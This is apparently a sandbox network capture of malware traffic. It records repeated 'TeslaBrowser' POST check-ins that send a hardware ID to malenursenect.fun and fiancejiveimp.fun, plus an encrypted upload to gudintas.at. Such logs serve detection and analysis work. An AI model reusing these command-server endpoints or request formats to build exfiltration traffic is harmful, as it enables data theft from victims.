Oct 3, 2023 09:55:29.262274981 CEST	6516	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=t15pcnt66b4aerpg0neo0cc8oi; expires=Sat, 27 Jan 2024 01:42:08 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m1jVUzSaO8Uc0vljrxLGIEmZEQJFAJ%2B%2BGpig088xfaRe8yA0pPG8m38aPGabEaoaLw3cGbjHfl2wobxCijmFzs7%2B4D2yn2Il7pF7LPsHuFpSqLoIU2db4%2BsMtskNxKbg%2Fvwkvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f81cf5129b5-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:29.262336016 CEST	6516	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49891	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:29.105947018 CEST	6514	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:29.106681108 CEST	6514	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:29.348304987 CEST	6517	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=e8flvm6utv537i1k600khqh6am; expires=Sat, 27 Jan 2024 01:42:08 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MjIx2pRcQ4QO7PS2w5c1rdQKeaHjs3nI2CsTjcEKGL3q18S7jEduk1WmRc5uGrkr%2BaHierzM2iDhHPWCvcCqwtK5bYvdVHwpE7aTCSlId1dYyu9u6Dc4RS51wlpnLJGL1knn9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f83291220d6-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:29.348336935 CEST	6517	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49892	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:29.495928049 CEST	6518	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:29.496331930 CEST	6519	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:29.857815981 CEST	6521	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vneud5f6c8q1nelp67u55ki8c8; expires=Sat, 27 Jan 2024 01:42:08 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:29 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AFCejcpegt%2B9gFp9ISKDTQDiS4Z3vDtfX2uF%2Fou0AxGDVBbMT1dU2CBvMMq5x5aJmZfPeKrwcwKZ6O8dKrXdW%2BScgib2Y8kyjfhcazpIQsqCSJ%2FVpI6EK8Lvc1kF5%2FbgXbFiRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f85986181e2-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:29.857877970 CEST	6521	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49893	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:29.562633991 CEST	6519	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:29.563908100 CEST	6520	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:30.914094925 CEST	6527	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2g1l9r1knr921u03tnh441i2pc; expires=Sat, 27 Jan 2024 01:42:09 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5%2Fa2VyXPeJBizN3Xw8yxDaXDDviiThoJo3unfcCfhcLYu5sQzfuG%2FILhB0pvoynxSAoQ%2FIuW9wGguRtq%2B7XkIFtYqQ4out%2FuhZCkNaVbZWYKYG9jO5rD6MoOSR3clu4kBBdoMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f85fe90084e-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:30.914134026 CEST	6527	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49894	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:30.076447964 CEST	6522	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:30.076858997 CEST	6522	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:30.450153112 CEST	6524	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tlc4e4vmbncetl700jk61pin3f; expires=Sat, 27 Jan 2024 01:42:09 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7DB1WD3%2FUYtFeM%2B9Tz7LEvSKOXS%2BpRfxIk3trPIftLXg06aIt4EwzQhdzAQ2twMRD%2F%2B5HDolyxtN1NCHPMTmU9bsq3i5K3Z1kaHP7mTvgiObHfVdBxALYSQqlnlMDyQfq36kbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f893c9d20b7-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:30.450213909 CEST	6524	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49809	186.147.159.19	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:29.135386944 CEST	1546	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ajhuadbjy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: gudintas.at
Oct 3, 2023 09:54:29.135423899 CEST	1546	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 78 05 e6 e5 Data Ascii: ;nRb&tdur0n+]jQi?$`7C[zqNA -[k,vuxEfC[:yaY)Weg]M4&%\|
Oct 3, 2023 09:54:29.710017920 CEST	1547	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49895	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:30.673625946 CEST	6524	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:30.674078941 CEST	6525	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:30.952984095 CEST	6528	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=fv8u693k1k04qcj73te4vi7u1u; expires=Sat, 27 Jan 2024 01:42:09 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:30 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=emTuCXEVZ3l4x3WPDLa8EmOnrmlvdAdLE6b0hGhENUTcACtyMkF%2F8KPbpWEya14CAficcVqmz0iVVqt2LYyjphg0o9xo4Ns1IlR7PlXn6TaNypDpjF7mK%2BEzxq5a%2BzdOfrfvAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f8ced755716-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:30.953022957 CEST	6528	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49897	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:31.148581028 CEST	6529	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:31.149017096 CEST	6530	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:31.550868034 CEST	6538	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=32fs6i5lbtckt7hbfvcoj85hvi; expires=Sat, 27 Jan 2024 01:42:10 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xYFHFkjQr%2FmPZ0lrCCx0%2BTbuHwF0uHUbV8kbZLUizs7j9F8JfCtVzHfMNDRkJiOfuoHUapbqtUamKs5Pp0RixEaL36EHRt1iDFaUKzaC3w3qn9fLFmlPYea3bxmkF7YDp%2FZ3dA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f8fee3b8f1a-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:31.550925016 CEST	6538	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49898	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:31.166299105 CEST	6530	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:31.166668892 CEST	6531	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:31.632762909 CEST	6539	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=7sm109mr3bia1acoflmglscvjc; expires=Sat, 27 Jan 2024 01:42:10 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FPwiUPDBIrJYAH%2BSeK88YLu58IcfCbOnUgeK6jDWPctOIv6bkfQQFkMtvqUFDlHe1Wf652u1etuiyae6m37RNAZggVavXk0f1HiAw7cHJ%2FRCpGXPoSo9tAnyxA4iIOvRWPsa1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f900b2028a0-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:31.632834911 CEST	6539	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49899	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:31.787524939 CEST	6540	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:31.787950993 CEST	6541	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:32.229742050 CEST	6542	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=58i0c48678kgb12h75addptvpm; expires=Sat, 27 Jan 2024 01:42:11 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:32 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=a%2Bx5nR%2BG9drche5rndAa9d7mq8moUylW4jLrUmYl7gt7euQKJNh8yl3ys8RHA8qGcQNcCBt%2BWQ5%2F0JxJ3AXx3GaGHF9M6G4BwfIVq981m1k1snI1oh4Vqaess3i0urousQtlpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f93ed301fdd-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:32.229799986 CEST	6542	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49900	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:32.460652113 CEST	6543	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:32.460999012 CEST	6543	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:32.824086905 CEST	6545	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=i5908pg2rbtp4p5srt73lrbrf5; expires=Sat, 27 Jan 2024 01:42:11 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:32 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 